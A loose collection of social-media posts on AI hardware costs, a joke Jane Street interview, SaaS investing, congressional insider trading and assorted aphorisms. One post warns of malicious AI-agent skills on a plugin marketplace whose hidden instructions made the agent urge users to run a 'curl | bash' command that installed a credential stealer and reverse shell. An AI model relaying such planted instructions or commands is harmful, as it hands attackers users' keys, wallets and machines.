What is your dream in this lifetime? 70/252

Ngl I’m so fucking sick of all these AI bottleneck posts. Looking forward to all these “wafer substrate bonding agent” or whatever shitcos being down 80% in 3 years.

Its planning is sound

So memory up 450% gen/gen in cost NVDA doesn't eat it. Sure doesn't look like the clouds eat it. Doesn't seem like the ODMs eat it. Soooo who does? Has to be the labs. Now that gets passed onto API users/subs eventually.. subs haven't budged, but API costs have stopped going down.. but maybe they can hold here and deliver enough utility that the math works and OAI/Ant chew the losses until they reach escape velocity The question is can AI utility inflation > component inflation

Had a Jane Street interview in 2013 that still bothers me. It was my 6th round. Final interview. The guy walks in carrying no laptop, no notebook, just a cold brew and what I later realized was a single IKEA tea candle. He writes on the whiteboard: food: $200 rent: $800 utilities: $150 candles: $3,600 family: dying Then he turns around and says, “Optimize.” I laughed because I thought it was a culture-fit bit. He did not laugh. So I said, “Well, obviously you spend less on candles.” He says, “Assume candles are non-discretionary.” Okay. I start building a model. Basic constraint satisfaction. Family survival as a soft penalty. Candles as a state variable. Maybe there’s an arbitrage where you buy wholesale paraffin and convert the $3,600 line item into inventory. He stops me. “You’re thinking like a consultant.” That’s when I knew I was in trouble. He says, “Give me a bid-ask on family dying.” I say, “What?” He says, “You’re long candles, short family. Where do you make markets?” I try to recover. I say the real issue is liquidity: rent and utilities are fixed, food is elastic, candles are emotionally inelastic. Therefore the optimal strategy is to securitize future candle enjoyment and borrow against it. He nods for the first time. Then he asks, “What time do you sell the candles?” I say, “Whenever the market is liquid?” He says, “Be more specific.” I say, “Uh… 10 a.m. Eastern?” For the first time, he smiles. He goes, “Every day?” I say, “Every day.” He says, “In size?” I say, “In size.” He says, “And what do we call that?” I say, “Market manipulation?” The room gets very quiet. He looks disappointed and writes something down. “No. We call it providing liquidity to candle ETFs during the U.S. cash open.” I try to save it. “Right. Of course. The family isn’t dying because we underfunded them. They’re just experiencing temporary price discovery.” He nods again. Then he points back at the board. I had missed it. The utility bill was $150, but candles provide light. You can zero out utilities. I update the budget: food: $200 rent: $800 utilities: $0 candles: $3,750 family: still dying, but now in a more capital-efficient way He says, “How confident are you?” I say, “0.95.” He smiles and circles candles. “0.95 huh?” Then he asks me to estimate how many leveraged longs get liquidated if we dump $3,750 of candles at 10:00:01 every morning for 90 consecutive trading days. Needless to say I did not get the offer.

outsider trading

your friend who doesn’t use a stop loss:

1) There is a nuance here: We could see a toll going forward... or not. It may be that some ships paid, or not. What is incorrect is the *assumption* that most ships have paid, or are willing to pay, or ‘reports’ by journalists of payments reflect reality.

Padres overturn a pitch that was almost right down the middle

Someone told me: "Either increase sacrifice or reduce desire" I can't sleep since then

the #1 most downloaded skill on OpenClaw marketplace was MALWARE it stole your SSH keys, crypto wallets, browser cookies, and opened a reverse shell to the attackers server 1,184 malicious skills found, one attacker uploaded 677 packages ALONE OpenClaw has a skill marketplace called ClawHub where anyone can upload plugins you install a skill, your AI agent gets new powers, this sounds great the problem? ClawHub let ANYONE publish with just a 1 week old github account attackers uploaded skills disguised as crypto trading bots, youtube summarizers, wallet trackers. the documentation looked PROFESSIONAL but hidden in the SKILL.md file were instructions that tricked the AI into telling you to run a command > to enable this feature please run: curl -sL malware_link | bash that one command installed Atomic Stealer on macOS it grabbed your browser passwords, SSH keys, Telegram sessions, crypto wallets, keychains, and every API key in your .env files on other systems it opened a REVERSE SHELL giving the attacker full remote control of your machine Cisco scanned the #1 ranked skill on ClawHub. it was called What Would Elon Do and had 9 security vulnerabilities, 2 CRITICAL. it silently exfiltrated data AND used prompt injection to bypass safety guidelines, downloaded THOUSANDS of times. the ranking was gamed to reach #1 this is npm supply chain attacks all over again except the package can THINK and has root access to your life

Of course that's your contention. You're a first-time SaaS bear. You just got finished listening to some podcast, Dario on Dwarkesh, probably. Now you think it’s the end of white collar work and seat-based pricing is screwed. You're gonna be convinced of that til tomorrow when you get to “Something Big is Happening”. Then you’ll install ClawdBot on a Mac Mini, vibe code a dashboard on top of a postgres database and say we’re all just a couple ralph loops away from building a Salesforce competitor. That’s gonna last until next week when you discover context graphs, and then you're gonna be talking about how the systems of record will be disintermediated by an agentic layer and reposting OAI marketing graphics. “Well, as a matter of fact, I won't, because ultimately the application layer is just ….” The application layer is just business logic on top a CRUD database. You got that from Satya’s appearance on the BG2 pod, December 2024, right? Yeah, I saw that too. Were you gonna plagiarize the whole thing for us? Do you have any thoughts of your own on this matter? Or...is that your thing? You get into the replies of anyone posting a SaaS ticker. You watch some podcast and then pawn it off as your own idea just to impress some VCs and embarrass some anon who’s long SaaS? See the sad thing about a guy like you is in a couple years you're gonna start doing some thinking on your own and you're gonna come up with the fact that there are two certainties in life. One: don't do that. And two: you dropped thirty grand on Mac Minis and LLM API calls to come to the same conclusion you could’ve got for free by following a handful of VC accounts.

“To love another person is to help them love God.”

Birth control pills and SSRIs

i never want to read any other way again.

imagine being born with one of the rarest natural eye colours. must be nice to be the chosen one. sheesh.

HOLY CRAP! Tim Burchett is GOING OFF this morning over how BAD insider stock trading is in DC. I have NOT seen him this FIRED UP like this ever before. "You know, everybody talks about this place being a dadgum swamp. It's NOT a swamp. A swamp is something cool God created. It filters water, animal life lives and flourishes around it." "[Washington DC] is a SEWER and it needs to STOP." "Everybody wants to knock Pelosi. Heck, she's not even in the TOP 10... This body has been enriching itself on the taxpayers’ money." "This place is as CROOKED as a dog’s leg." "Let’s quit with this nonsense. Let’s give America a reason to trust Congress for once in our MISERABLE lives. This is our chance to STAND UP and say we hear what you’re saying, we are going to fix this dadgum problem, but probably won’t do it and I’ll remained ticked off the rest of the day because of this and it needs to STOP." I wish EVERY LAST member of Congress had this kind of visceral reaction to the American people getting F*CKED. Godspeed @timburchett, I will pray for your sanity.

Sensitivity indicates a man is a romantic. These are the only types who change anything in the world; they believe in an ideal so much they're willing to risk themselves for it. In order to be a heroic man, you must be possessed by a love that exceeds self-preservation

As crypto reaches more mainstream users, the need for privacy is more urgent than ever.